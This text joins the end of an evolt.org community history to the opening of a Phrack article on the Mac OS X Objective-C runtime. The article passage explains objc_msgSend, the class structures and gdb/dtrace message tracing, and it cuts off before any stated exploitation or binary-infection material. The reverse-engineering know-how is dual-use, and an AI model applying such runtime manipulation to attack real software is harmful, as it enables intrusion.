Eventually most of the committees and smaller lists were shut down, and their duties folded back into theforum. We continued publishing articles, and hosting our main lists, but discontinued the directory. Meanwhile, it was becoming increasingly clear that evolt.org’s custom Cold Fusion-based CMS was vulnerable to the bus scenario. By 2004 we were down to one active CMS developer/webhost (lists.evolt.org at the time, was hosted the UK). As always, the heavy amount of responsibility taken on by a single person became a concern to others in the organization. The group voted to move out of our custom CMS and into an established open-source CMS, Drupal. We found low-cost dedicated hosting at The Planet, and mirrors helped relieve some of the bandwidth pressure on the browser archive. The new Drupal-driven site went live in 2005.

We had finally managed to decentralize evolt.org to the point that it could survive the sudden departure of any one of its caretakers. Ironically, the rocky road to that place resulted in the loss of some high-contributing admins.

As for governing structure, evolt.org ultimately settled on an ad hoc consensus process. One of us will propose an idea to theforum, ask if there are objections, and wait a few days for responses. If there are no objections, one assumes consensus and moves forward. If there are objections, we try to talk through them, rather than fight. Also, we are no longer concerned with formalizing a hierarchy.

Those who have lasted through the years have progressed a great deal in their ability to work together. While we still face communication challenges, we are more familiar with the territory now.

+-+-+-+-+-+-+-+-+-+-+
2006-2008 : INERTIA
+-+-+-+-+-+-+-+-+-+-+

As evolt.org admin has worked to put our organization in order, web progress has lagged. The patched-together 2005 design was intended to be temporary, but has yet to be replaced. In 2006 there was a failed movement toward redesign, and by 2008 our article submissions and web traffic had dropped noticeably. Activity on thelist remained steady, but at a lower volume than in years past.

+-+-+-+-+-+-+-+-+-+-+-+
2008 AND : OUR FUTURE
+-+-+-+-+-+-+-+-+-+-+-+

As we move forward into our tenth year, a few large projects lie before us. We are taking a step back, looking at how we are serving our community, and asking how we can do better. To that end we are surveying our community for input. In addition, we continue to work on improving our browser archive by adding more mirrors, and hopefully also adding more information about some of our unique and interesting browsers. Finally, we are taking steps toward truly internationalizing our site, so that we have the foundation on which to build localized versions of evolt.org, a vision we’ve had, but kept on the backburner, since 2001.

Though the journey has been far from smooth, we’ve managed to maintain the integrity of our organization, our community, our purpose, and our archives. We continue to welcome new members who want to contribute their talents and energy to the community, while learning new skills along the way. Like the internet itself, evolt.org is made of "imperfect, unreliable parts, connected together to create the most reliable thing we have."

Here’s to a harmonious, productive, and successful next ten years.

--------[EOF

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x04 of 0x11

```
|=-----------------------------------------------------------------------=|
|=-------=[ The Objective-C Runtime:  Understanding and Abusing ]=-------=|
|=-----------------------------------------------------------------------=|
|=----------------------=[ nemo@felinemenace.org ]=---------------------=|
|=-----------------------------------------------------------------------=|
```

--[Contents

--[1 - Introduction

Hello reader. I am writing this paper to document some research which I undertook on Mac OS X around 3 years ago.

At the time i prepared this research, I gave a talk on it at Ruxcon. It was a pretty terrible talk, dry and technical and it demotivated me a little. Unfortunately due to this i didn't keep the slides. Around this time my laptop broke and Apple refused to fix it. This drove me away from Mac OS X for a while. A week ago, we tried again with another Apple store, just in case, and they seem to have fixed the problem. So i'm back on OS X and giving the documentation of this research another try. I'm hoping it transfers a little smoother in .txt format, however you be the judge.

The topic of this research is the Objective-C runtime on Mac OS X. Basically, during the contents of this paper, i will look at how the Objective-C runtime works both in a binary, and in memory. I will then look at how we can manipulate the runtime to our advantage, from a reverse engineering/exploit development and binary infection perspective.

--[2 - What is Objective-C?

Before we look at the Objective-C runtime, let's take a look at what Objective-C actually is.

Objective-C is a reflective programming language which aims to provide object orientated concepts and Smalltalk-esque messaging to C.

Gcc provides a compiler for Objective-C, however due to the rich library support on OpenStep based operating systems (Mac OS X, IPhone, GNUstep) it is typically only really used on these platforms.

Objective-C is implemented as an augmentation to the C language. It is a superset of C which means that any Objective-C compiler can also compile C.

To learn more about Objective-C, you can read the [1] and [2] in the references.

To illustrate what Objective-C looks like as a language we’ll look at a simple Hello World example from [3]. This tutorial shows how to compile a basic Hello World style Objective-C app from the command line. If you’re already familiar with Objective-C just go ahead and skip to the next section. ;-)

So first we make a directory for our project ...

```
-[dcbz@megatron:~/code]$ mkdir HelloWorld
-[dcbz@megatron:~/code]$ mkdir HelloWorld/build
```

... and create the header file for our new class (Talker.)

```
-[dcbz@megatron:~/code]$ cat > HelloWorld/Talker.h
#import <Foundation/Foundation.h>

@interface Talker : NSObject

- (void) say: (STR) phrase;

@end

^D
```

As you can see, Objective-C projects use the .h extension just like C. This header looks pretty different to a typically C style header though.

The "@interface Talker : NSObject" line basically tells the compiler that a "Talker" class exists, and it’s derived from the NSObject class.

The "- (void) say: (STR) phrase;" line describes a public method of that class called "say". This method takes a (STR) argument called "phrase".

Now that the header file exists and our class is defined, we need to implement the meat of the class. Typically Objective-C files have the file extension ".m".

```
-[dcbz@megatron:~/code]$ cat > HelloWorld/Talker.m
#import "Talker.h"

@implementation Talker

- (void) say: (STR) phrase {
  printf("%s\n", phrase);
}

@end

^D
```

Clearly the implementation for the Talker class is pretty straight forward. The say() method takes the string "phrase" and prints it with printf.

Now that our class is layed down, we need to write a little main() function to use it.

```
-[dcbz@megatron:~/code]$ cat > HelloWorld/hello.m
#import "Talker.h"

int main(void) {
  Talker *talker = [[Talker alloc] init];
  [talker say: "Hello, World!"];
  [talker release];
}
```

From this example you can see that the syntax for calling methods of an Objective-C class is not quite the same as your typical C or C++ code. It looks far more like smalltalk messaging, or Lisp.

```
        [<object> <method>: <argument>];
```

Typically Objective-C programmers alloc and init on the same line, as shown in the example. I know this generally sets off alarm bells that a NULL pointer dereference can occur, however the Objective-C runtime has a check for a NULL pointer being passed to the runtime which catches this condition. (see the objc_msgSend source later in this paper.)

Now we just build the project. The -framework option to gcc allows us to specify an Objective-C framework to link with.

```
-[dcbz@megatron:~/code]$ cd HelloWorld/
-[dcbz@megatron:~/code/HelloWorld]$ gcc -o build/hello Talker.m
hello.m -framework Foundation
-[dcbz@megatron:~/code/HelloWorld]$ cd build/
-[dcbz@megatron:~/code/HelloWorld/build]$ ./hello
Hello, World!
```

As you can see, the produced binary outputs "Hello, World!" as expected. Unfortunately, this example about showcases all the skill I have with Objective-C as a language. I've spent way more time auditing it than I have writing it. Fortunately you don't really need a heavy understanding of Objective-C to follow the rest of the paper.

--[3 - The Objective-C Runtime

Now that we're intimately familiar with Objective-C as a language, ;-) - We can begin to focus on the interesting aspects of Objective-C, the runtime that allows it to function.

As I mentioned earlier in the Introduction section, Objective-C is a reflective language. The following quote explains this more clearly than i could (in a very academic manner :( ).

"""
 Reflection is the ability of a program to manipulate as data something representing the state of the program during its own execution. There are two aspects of such manipulation : introspection and intercession. Introspection is the ability of a program to observe and therefore reason about its own state. Intercession is the ability of a program to modify its own execution state or alter its own interpretation or meaning. Both aspects require a mechanism for encoding execution state as data; providing such an encoding is called reification.
""" - [4]

Basically this means, that at runtime, Objective-C classes are designed to be aware of their own state, and be capable of altering their own implementation. As you can imagine, this information/functionality can be quite useful from a hacking perspective.

So how is this implemented on Mac OS X? Firstly, when gcc compiles our hello.m application, it is linked with the "libobjc.A.dylib" library.

```
"""
-[dcbz@megatron:~/code/HelloWorld/build]$ otool -L hello
hello:
        /System/Library/Frameworks/Foundation.framework/Versions/C/Foundation
(compatibility version 300.0.0, current version 677.22.0)
        /usr/lib/libgcc_s.1.dylib (compatibility version 1.0.0, current
version 1.0.0)
```

```
        /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current
version 111.1.3)
        /usr/lib/libobjc.A.dylib (compatibility version 1.0.0, current
version 227.0.0)
        /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
(compatibility version 150.0.0, current version 476.17.0)
"""
```

The source code for this dylib is available from [5]. This library contains the code for manipulating our Objective-C classes at runtime.

Also during compile time, gcc is responsible for storing all the information required by libobjc.A.dylib inside the binary. This is accomplished by creating the __OBJC segment. I plan not to cover the Mach-O file format in this paper, as it's been done to death [6]. We're more interested in what the various sections contain.

Here's a list of the __OBJC segment in our binary and the sections contained (logically) within.

```
        LC_SEGMENT.__OBJC.__cat_cls_meth
        LC_SEGMENT.__OBJC.__cat_inst_meth
        LC_SEGMENT.__OBJC.__string_object
        LC_SEGMENT.__OBJC.__cstring_object
        LC_SEGMENT.__OBJC.__message_refs
        LC_SEGMENT.__OBJC.__sel_fixup
        LC_SEGMENT.__OBJC.__cls_refs
        LC_SEGMENT.__OBJC.__class
        LC_SEGMENT.__OBJC.__meta_class
        LC_SEGMENT.__OBJC.__cls_meth
        LC_SEGMENT.__OBJC.__inst_meth
        LC_SEGMENT.__OBJC.__protocol
        LC_SEGMENT.__OBJC.__category
        LC_SEGMENT.__OBJC.__class_vars
        LC_SEGMENT.__OBJC.__instance_vars
        LC_SEGMENT.__OBJC.__module_info
        LC_SEGMENT.__OBJC.__symbols
```

As you can see, quite a lot of information is stored in the file and therefore available at runtime..

We'll look at both the in memory components of the Objective-C runtime and the file contents in more detail in the following sections.

------[3.1 - libobjc.A.dylib

As mentioned previously, the file libobjc.A.dylib is a library file on Mac OS X which provides the in-memory runtime functionality of the Objective-C language.

The source code for this library is available from the apple website. [5].

Apple have documented the mechanics of this library quite well in the papers [7] & [8]. These papers show versions 1.0 and 2.0 of the runtime.

When I last looked at the runtime 3 years ago, version 2.0 was the latest. However it seems that 3.0 is the standard now, and things have changed quite dramatically. I actually wrote a large portion of this section based on how things used to be, and I had to go back and rewrite most of it. Hopefully there aren't any errors due to this. But please forgive me if there are.

Probably the first and most important function in this library is the "objc_msgSend" function.

objc_msgSend() is used to send messages to an object in memory. All access to a method or attribute of an Objective-C object at runtime utilize this function.

Here is the description of this function, taken from the Objective-C 2.0 Runtime Reference [7].

```
"""
objc_msgSend():

Sends a message with a simple return value to an instance of a class.

        id objc_msgSend(id theReceiver, SEL theSelector, ...)

Parameters:

        theReceiver

                A pointer that points to the instance of the class that is
                to receive the message.

        theSelector

               The selector of the method that handles the message.

        ...

               A variable argument list containing the arguments to
               the method.

        ReturnValue
               The return value of the method.
"""
```

In order to understand this function we need to first understand the structures used by this function.

The first argument to objc_msgSend() is an "id" struct. The definition for this struct is in the file /usr/include/objc/objc.h.

```
        typedef struct objc_object {
            Class isa;
        } *id;

        typedef struct objc_class *Class;

        struct objc_class
        {
           struct objc_class* isa;
           struct objc_class* super_class;
           const char* name;
           long version;
           long info;
           long instance_size;
           struct objc_ivar_list* ivars;
           struct objc_method_list** methodLists;
           struct objc_cache* cache;
           struct objc_protocol_list* protocols;
        };
```

As you can see, an id is basically a pointer to an "objc_class" instance in memory.

I will now run through some of the more interesting elements of this struct.

The isa element is a pointer to the class definition for the object.

The super_class element is a pointer to the base class for this object.

The name element is just a pointer to the name of the object at runtime.

This is only really useful from a higher level perspective.

The ivars element is basically a way to represent all the instance variables of an object in memory. It consists of a pointer to an objc_ivar_list struct. This basically contains a count, followed by an array of count * objc_ivar structs.

```
        struct objc_ivar_list {
            int ivar_count
            /* variable length structure */
            struct objc_ivar ivar_list[1]
        }
```

The objc_ivar struct, consists of the name, and type of the variable. Both of which are simply char * as seen below.

```
        struct objc_ivar {
            char *ivar_name
            char *ivar_type
            int ivar_offset
        }
```

The ivar_offset value indicates how far into the __OBJC.__class_vars section to seek, to find the data used by this variable.

The methodLists element is basically a list of the methods supported by the class. The objc_method_list struct is simply made up of an integer that dictates how many methods there are, followed by an array of struct objc_method's.

```
        struct objc_method_list
        {
            struct objc_method_list *obsolete;
            int method_count;
            struct objc_method method_list[1];
        }

        typedef struct objc_method *Method;
```

The objc_method struct contains a SEL, (our second argument to objc_msgSend too, while we'll get to soon) which dictates the method_name, a string containing the argument types to the method. Finally this struct contains a function pointer for the method itself, of type IMP.

```
        struct objc_method {
            SEL method_name
            char *method_types
            IMP method_imp
        }

        id (*IMP)(id, SEL, ...)
```

An IMP function pointer indicates that the first argument should be the classes "self" pointer, or the id (objc_class) pointer for the class. The second argument should be the methods's SEL (selector).

For now that's all that's interesting to us about the ID data type. Later on in this paper we'll look at how the method caching works, and how it can negatively affect us.

Now let's look at the mysterious data type "SEL" that we've been hearing so much about. The second argument to objc_msgSend.

```
        typedef struct objc_selector    *SEL;
```

And what is an objc_selector struct you ask? Turns out, it's just a char * string that's been processed by the runtime.

objc_msgSend() is implemented in assembly. To read it’s implementation browse to the runtime/Messengers.subproj directory in the objc-runtime source tree. The file objc-msg-i386.s is the intel implementation of this.

Now that we’re some what familiar with the runtime, let’s take a look at our sample "hello" application we wrote earlier in a debugger and verify our progress.

The most commonly used debugger on Mac OS X is gdb, obviously. Since I’ve spent so much time in the Windows world lately I am intel syntax inclined, I apologize in advance.

Regardless, let’s fire up gdb and take a look at the source of our main function.

```
-[dcbz@megatron:~/code/HelloWorld/build]$ gdb ./hello
GNU gdb 6.3.50-20050815 (Apple version gdb-768) (Tue Oct  2 04:07:49 UTC
2007)
Copyright 2004 Free Software Foundation, Inc.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x00001f3d <main+0>:    push   ebp
0x00001f3e <main+1>:    mov    ebp,esp
0x00001f40 <main+3>:    push   ebx
0x00001f41 <main+4>:    sub    esp,0x24
0x00001f44 <main+7>:    call   0x1f49 <main+12>
0x00001f49 <main+12>:   pop    ebx
0x00001f4a <main+13>:   lea    eax,[ebx+0x117b]
0x00001f50 <main+19>:   mov    eax,DWORD PTR [eax]
0x00001f52 <main+21>:   mov    edx,eax
0x00001f54 <main+23>:   lea    eax,[ebx+0x1177]
0x00001f5a <main+29>:   mov    eax,DWORD PTR [eax]
0x00001f5c <main+31>:   mov    DWORD PTR [esp+0x4],eax
0x00001f60 <main+35>:   mov    DWORD PTR [esp],edx
0x00001f63 <main+38>:   call   0x4005 <dyld_stub_objc_msgSend>
0x00001f68 <main+43>:   mov    edx,eax
0x00001f6a <main+45>:   lea    eax,[ebx+0x1173]
0x00001f70 <main+51>:   mov    eax,DWORD PTR [eax]
0x00001f72 <main+53>:   mov    DWORD PTR [esp+0x4],eax
0x00001f76 <main+57>:   mov    DWORD PTR [esp],edx
0x00001f79 <main+60>:   call   0x4005 <dyld_stub_objc_msgSend>
0x00001f7e <main+65>:   mov    DWORD PTR [ebp-0xc],eax
0x00001f81 <main+68>:   mov    ecx,DWORD PTR [ebp-0xc]
0x00001f84 <main+71>:   lea    eax,[ebx+0x116f]
0x00001f8a <main+77>:   mov    edx,DWORD PTR [eax]
0x00001f8c <main+79>:   lea    eax,[ebx+0x96]
0x00001f92 <main+85>:   mov    DWORD PTR [esp+0x8],eax
0x00001f96 <main+89>:   mov    DWORD PTR [esp+0x4],edx
0x00001f9a <main+93>:   mov    DWORD PTR [esp],ecx
0x00001f9d <main+96>:   call   0x4005 <dyld_stub_objc_msgSend>
0x00001fa2 <main+101>:  mov    edx,DWORD PTR [ebp-0xc]
0x00001fa5 <main+104>:  lea    eax,[ebx+0x116b]
0x00001fab <main+110>:  mov    eax,DWORD PTR [eax]
0x00001fad <main+112>:  mov    DWORD PTR [esp+0x4],eax
0x00001fb1 <main+116>:  mov    DWORD PTR [esp],edx
0x00001fb4 <main+119>:  call   0x4005 <dyld_stub_objc_msgSend>
0x00001fb9 <main+124>:  add    esp,0x24
0x00001fbc <main+127>:  pop    ebx
0x00001fbd <main+128>:  leave
0x00001fbe <main+129>:  ret
```

As you can see, our main function only consists of 4 calls to objc_msgSend(). There are no calls to our actual methods here. Here is a listing of the source code again, to jog your memory.

```
        int main(void) {
          Talker *talker = [[Talker alloc] init];
          [talker say: "Hello World!"];
          [talker release];
        }
```

Each call to objc_msgSend() corresponds to each method call
in our source.

class	method
Talker	alloc
talker	init
talker	say
talker	release

To verify this we can put a breakpoint on the objc_msgSend() function.

```
(gdb) break objc_msgSend
Breakpoint 2 at 0x9470d670
(gdb) c
Continuing.

Breakpoint 2, 0x9470d670 in objc_msgSend ()
(gdb) x/2i $pc
0x9470d670 <objc_msgSend>:      mov    ecx,DWORD PTR [esp+0x8]
0x9470d674 <objc_msgSend+4>:    mov    eax,DWORD PTR [esp+0x4]
```

As you can see, the first two instructions in objc_msgSend() are
responsible for moving the id into eax, and the selector into ecx.

To verify, lets step and print the contents of ecx.

```
(gdb) stepi
0x9470d674 in objc_msgSend ()
(gdb) x/s $ecx
0x9470e66c <objc_msgSend_stub+828>:      "alloc"
```

As predicted "alloc" was the first method called.

Now we can delete our breakpoints, and add a breakpoint at the current
location. Then use the "commands" option in gdb to print the string at ecx,
every time this breakpoint is hit.

```
(gdb) break
Breakpoint 3 at 0x9470d674
(gdb) commands
Type commands for when breakpoint 3 is hit, one per line.
End with a line saying just "end".
>x/s $ecx
>c
>end
(gdb) c
Continuing.

Breakpoint 8, 0x9470d674 in objc_msgSend ()
0x94722d20 <__FUNCTION__.12370+80320>:   "defaultCenter"

Breakpoint 8, 0x9470d674 in objc_msgSend ()
0x9470e83c <objc_msgSend_stub+1292>:     "self"

Breakpoint 8, 0x9470d674 in objc_msgSend ()
0x94772d28 <__FUNCTION__.12370+408008>:
"addObserver:selector:name:object:"

Breakpoint 8, 0x9470d674 in objc_msgSend ()
0x9470e66c <objc_msgSend_stub+828>:      "alloc"

Breakpoint 8, 0x9470d674 in objc_msgSend ()
```

```
0x9470e680 <objc_msgSend_stub+848>:      "initialize"

Breakpoint 8, 0x9470d674 in objc_msgSend ()
0x9477f158 <__FUNCTION__.12370+458232>:  "allocWithZone:"

Breakpoint 8, 0x9470d674 in objc_msgSend ()
0x9470e858 <objc_msgSend_stub+1320>:     "init"

Breakpoint 8, 0x9470d674 in objc_msgSend ()
0x1fd0 <main+147>:       "say:"
Hello World!

Breakpoint 8, 0x9470d674 in objc_msgSend ()
0x947a9334 <__FUNCTION__.12370+630740>:  "release"

Breakpoint 8, 0x9470d674 in objc_msgSend ()
0x9474e514 <__FUNCTION__.12370+258484>:  "dealloc"
```

This works as expected. However, we can see that we were flooded with methods that weren’t related to our class from the NS runtime loading. Let’s try to implement something to see which class methods were called on.

Remembering back to our objc_class struct:

```
        struct objc_class
        {
           struct objc_class* isa;
           struct objc_class* super_class;
           const char* name;
```

8 bytes into the struct there’s a 4 byte pointer to the class’s name.

To verify this, we can restart the process with our breakpoint in the same place.

```
Breakpoint 6, 0x9470d674 in objc_msgSend ()
(gdb) printf "%s\n", *(long*)($eax+8)
NSNotificationCenter
```

This time when it’s hit, we deref the pointer at $eax+8 and print it to find out the class name.

Again we can script this with the "commands" option to automate the process. But lets change our code so that rather than using printf, we utilize one of the functions exported by our objective-c runtime:

```
call (char *)class_getName($eax)
```

This function will do the work for us just with our ID.

```
(gdb) b *0x9470d674
Breakpoint 1 at 0x9470d674
(gdb) commands
Type commands for when breakpoint 1 is hit, one per line.
End with a line saying just "end".
>call (char *)class_getName($eax)
>x/s $ecx
>c
>end
(gdb) run
...
Breakpoint 2, 0x9470d674 in objc_msgSend ()
$107 = 0x6e6f5a68 <Address 0x6e6f5a68 out of bounds>
0x9477f158 <__FUNCTION__.12370+458232>:  "allocWithZone:"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$108 = 0x0
0x94772d28 <__FUNCTION__.12370+408008>:
```

```
"addObserver:selector:name:object:"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$109 = 0x916e0318 "NSNotificationCenter"
0x94722d20 <__FUNCTION__.12370+80320>:   "defaultCenter"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$110 = 0x916e0318 "NSNotificationCenter"
0x9470e83c <objc_msgSend_stub+1292>:     "self"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$111 = 0x0
0x94772d28 <__FUNCTION__.12370+408008>:
"addObserver:selector:name:object:"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$112 = 0x77656e <Address 0x77656e out of bounds>
0x9470e66c <objc_msgSend_stub+828>:      "alloc"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$113 = 0x1fc9 "Talker"
0x9470e680 <objc_msgSend_stub+848>:      "initialize"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$114 = 0x1fc9 "Talker"
0x9477f158 <__FUNCTION__.12370+458232>:  "allocWithZone:"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$115 = 0x6b617761 <Address 0x6b617761 out of bounds>
0x9470e858 <objc_msgSend_stub+1320>:     "init"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$116 = 0x21646c72 <Address 0x21646c72 out of bounds>
0x1fd0 <main+147>:       "say:"
Hello World!

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$117 = 0x6470755f <Address 0x6470755f out of bounds>
0x947a9334 <__FUNCTION__.12370+630740>:  "release"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$118 = 0x615f4943 <Address 0x615f4943 out of bounds>
0x9474e514 <__FUNCTION__.12370+258484>:  "dealloc"
```

And as you can see, this works as sort of a make shift, objective-c message tracing system.

However in some cases, eax does not actually contain an id. And this will not work. Hence we get the messages like:

```
$118 = 0x615f4943 <Address 0x615f4943 out of bounds>
```

This is due to the fact that objc_msgSend() is not always an entry point. So we can't guarantee that every time our breakpoint is hit we are actually seeing a call to objc_msgSend().

To make our tracer work more effectively we can put a breakpoint on 0x4005 <dyld_stub_objc_msgSend> instead. This means we have to use esp+0x8 for our SEL and esp+0x4 for our ID.

We can use the statement:

```
printf "[%s %s]\n", *(long *)((*(long*)($esp+4))+8),*(long *)($esp+8)
```

To print our object and method nicely.

This works pretty well but we still hit a situation where sometimes our class’s name is set to NULL. In this case we take the isa (deref the first pointer in the struct) and get the name of that.

The following gdb script will handle this:

```
#
# Trace objective-c messages. - nemo 2009
#
b dyld_stub_objc_msgSend
commands
        set $id  = *(long *)($esp+4)
        set $sel = *(long *)($esp+8)
        if(*(long *)($id+8) != 0)
                printf "[%s %s]\n", *(long *)($id+8),$sel
                continue
        end
        set $isx = *(long *)($id)
        printf "[%s %s]\n", *(long *)($isx+8),$sel
        continue
end
```

We could also implement this with dtrace on Mac OS X quite easily.

```
#!/usr/sbin/dtrace -qs

/* usage: objcdump.d <pid> */

pid$1::objc_msgSend:entry
{
        self->isa = *(long *)copyin(arg0,4);
        printf("-[%s %s]\n",copyinstr(*(long *)copyin(self->isa + 8,
4)),copyinstr(arg1));

}
```

Let me correct myself on that, we /should/ be able to implement this with dtrace on Mac OS X quite easily. However, dtrace is kind of like looking at a beautiful painting through a kids kaleidescope toy. Thanks a lot to twiz for helping me out with implementing this.

As you can see, the output of this script is the same as our gdb script, however the speed at which the process runs is magnitudes faster.

Now that we’re hopefully familiar with how calls to objc_msgSend() work we can look at how the ivar’s and methods are accessed.

In order to investigate this a little, we can modify our hello.m example code a little to include some attributes. To demonstrate this I will use the fraction example from [10]. (I’m getting uncreative in my old age ;-) .

```
-[dcbz@megatron:~/code/fraction]$ ls -lsa
total 24
0 drwxr-xr-x   5 dcbz  dcbz   170 Mar 27 10:28 .
0 drwxr-xr-x  33 dcbz  dcbz  1122 Mar 27 10:17 ..
8 -rwxr-----   1 dcbz  dcbz   231 Mar 23  2004 Fraction.h
8 -rwxr-----   1 dcbz  dcbz   339 Mar 24  2004 Fraction.m
8 -rwxr-----   1 dcbz  dcbz   386 Mar 27  2004 main.m
```

As you can see, this project is pretty similar to our earlier hello.m example.

```
-[dcbz@megatron:~/code/fraction]$ cat Fraction.h
#import <Foundation/NSObject.h>

@interface Fraction: NSObject {
    int numerator;
    int denominator;
}
```

```
-(void) print;
-(void) setNumerator: (int) d;
-(void) setDenominator: (int) d;
-(int) numerator;
-(int) denominator;
@end
```

Our header file defines a simple interface to a "Fraction" class. This class represents the numerator and denominator of a fraction.

It exports the methods setNumerator and setDemonimator in order to modify these values, and the methods numerator() and denominator() to get the values.

```
-[dcbz@megatron:~/code/fraction]$ cat Fraction.m
#import "Fraction.h"
#import <stdio.h>

@implementation Fraction
-(void) print {
    printf( "%i/%i", numerator, denominator );
}

-(void) setNumerator: (int) n {
    numerator = n;
}

-(void) setDenominator: (int) d {
    denominator = d;
}

-(int) denominator {
    return denominator;
}

-(int) numerator {
    return numerator;
}
@end
```

The actual implementation of these methods is pretty much what you would expect from any OOP language. Get methods return the object’s attribute, set methods set it.

```
-[dcbz@megatron:~/code/fraction]$ cat main.m
#import <stdio.h>
#import "Fraction.h"

int main( int argc, const char *argv[] ) {
    // create a new instance
    Fraction *frac = [[Fraction alloc] init];

    // set the values
    [frac setNumerator: 1];
    [frac setDenominator: 3];

    // print it
    printf( "The fraction is: " );
    [frac print];
    printf( "\n" );

    // free memory
    [frac release];

    return 0;
}
```

As you can see, our main.m file contains code to instantiate an instance of the class. It then sets the numerator to 1 and denominator to 3, and prints the fraction. Pretty straight forward stuff.

```
-[dcbz@megatron:~/code/fraction]$  gcc -o fraction Fraction.m main.m
-framework Foundation
-[dcbz@megatron:~/code/fraction]$ ./fraction
The fraction is: 1/3
```

Before we fire up gdb and look at this from a debugging perspective, lets take a quick look through the source code for what happens after objc_msgSend() is called.

```
        ENTRY   _objc_msgSend
        CALL_MCOUNTER

// load receiver and selector
        movl    selector(%esp), %ecx
        movl    self(%esp), %eax

// check whether selector is ignored
        cmpl    $ kIgnore, %ecx
        je      LMsgSendDone            // return self from %eax

// check whether receiver is nil
        testl   %eax, %eax
        je      LMsgSendNilSelf

// receiver (in %eax) is non-nil: search the cache
LMsgSendReceiverOk:
        movl    isa(%eax), %edx         // class = self->isa
        CacheLookup WORD_RETURN, MSG_SEND, LMsgSendCacheMiss
        movl    $kFwdMsgSend, %edx      // flag word-return for
_objc_msgForward
        jmp     *%eax                   // goto *imp

// cache miss: go search the method lists
LMsgSendCacheMiss:
        MethodTableLookup WORD_RETURN, MSG_SEND
        movl    $kFwdMsgSend, %edx      // flag word-return for
_objc_msgForward
        jmp     *%eax                   // goto *imp
```

As you can see, objc_msgSend() first moves the receiver and selector into eax and ecx respectively. It then tests if the selector is kignore ("?"). If this is the case, it simply returns the receiver (id).

If the receiver is not NULL, a cache lookup is performed on the method in question. If the method is found in the cache, the value in the cache is simply called. We'll look into the cache in more detail later in the exploitation section.

If the method's address is not in the cache, the "MethodTableLookup" macro is used.

```
.macro MethodTableLookup

        subl    $$4, %esp               // 16-byte align the stack
        // push args (class, selector)
        pushl   %ecx
        pushl   %eax
        CALL_EXTERN(__class_lookupMethodAndLoadCache)
        addl    $$12, %esp              // pop parameters and alignment
.endmacro
```

From the code above we can see that this macro simply aligns the stack and calls __class_lookupMethodAndLoadCache.

This function, checks the cache of the class again, and it’s super class for the method in question. If it’s definitely not in the cache, the method list in the class is walked and tested individually for a match. If this is not successful the parent of the class is checked and so forth.
If the method is found, it’s called.

Let’s look at this process in gdb.

We hit out breakpoint in objc_msgSend().

```
Breakpoint 7, 0x9470d670 in objc_msgSend ()
(gdb) stepi
0x9470d674 in objc_msgSend ()
(gdb) stepi
0x9470d678 in objc_msgSend ()
```

Step over the first two instructions to populate ecx and eax, for our convenience.

```
(gdb) x/s $ecx
0x1f8d <main+244>:       "setNumerator:"
```

We can see the method being called (from the SEL argument) is setNumerator:

```
(gdb) x/x $eax
0x103240:       0x00003000
```

We take the ISA...

```
(gdb) x/x 0x00003000
0x3000 <.objc_class_name_Fraction>:     0x00003040
(gdb)
0x3004 <.objc_class_name_Fraction+4>:   0xa07fccc0
(gdb)
0x3008 <.objc_class_name_Fraction+8>:   0x00001f7e
```

Offset this by 8 bytes to find the class name.

```
(gdb) x/s 0x00001f7e
0x1f7e <main+229>:       "Fraction"
```

So this is a call to -[Fraction setNumerator:] (obviously).

```
        struct objc_class
        {
           struct objc_class* isa;
           struct objc_class* super_class;
           const char* name;
           long version;
           long info;
           long instance_size;
           struct objc_ivar_list* ivars;
           struct objc_method_list** methodLists;
           struct objc_cache* cache;
           struct objc_protocol_list* protocols;
        };
```

Remembering our objc_class struct from earlier, we know that the method_lists struct is 28 bytes in.

```
(gdb) set $classbase=0x3000
(gdb) x/x $classbase+28
0x301c <.objc_class_name_Fraction+28>:  0x00103250
```

So the address of our method_list is 0x00103250.

```
      struct objc_method_list
        {
            struct objc_method_list *obsolete;
            int method_count;
            struct objc_method method_list[1];
        }
```

As you can see, our method_count is 5.

```
(gdb) x/x 0x00103250+4
0x103254:       0x00000005
```

```
        typedef struct objc_method *Method;

        struct objc_method {
            SEL method_name
            char *method_types
            IMP method_imp
        }
```

```
(gdb) x/3x 0x00103250+8
0x103258:       0x00001fb7      0x00001fd2      0x00001e8b
(gdb) x/s 0x00001fb7
0x1fb7 <main+286>:       "numerator"
(gdb) x/7i  0x00001e8b
0x1e8b <-[Fraction numerator]>:         push   ebp
0x1e8c <-[Fraction numerator]+1>:       mov    ebp,esp
0x1e8e <-[Fraction numerator]+3>:       sub    esp,0x8
0x1e91 <-[Fraction numerator]+6>:       mov    eax,DWORD PTR [ebp+0x8]
0x1e94 <-[Fraction numerator]+9>:       mov    eax,DWORD PTR [eax+0x4]
0x1e97 <-[Fraction numerator]+12>:      leave
0x1e98 <-[Fraction numerator]+13>:      ret
```

Now that we see clearly how methods are stored, we can write a small amount of gdb script to dump them.

```
(gdb) set $methods =  0x00103250 + 8
(gdb) set $i = 1
(gdb) while($i <= 5)
 >printf "name: %s\n", *(long *)$methods
 >printf "addr: 0x%x\n", *(long *)($methods+8)
 >set $methods += 12
 >set $i++
 >end
name: numerator
addr: 0x1e8b
name: denominator
addr: 0x1e7d
name: setDenominator:
addr: 0x1e6c
name: setNumerator:
addr: 0x1e5b
name: print
addr: 0x1e26
```

We can now clearly display all our methods, so lets take a look at how our set and get methods actually work.

Firstly, lets take a look at the setDenominator method.

```
(gdb) x/8i 0x1e6c
0x1e6c <-[Fraction setDenominator:]>:           push   ebp
0x1e6d <-[Fraction setDenominator:]+1>:         mov    ebp,esp
0x1e6f <-[Fraction setDenominator:]+3>:         sub    esp,0x8
0x1e72 <-[Fraction setDenominator:]+6>:         mov    edx,DWORD PTR [ebp+0x8]
0x1e75 <-[Fraction setDenominator:]+9>:         mov    eax,DWORD PTR [ebp+0x10]
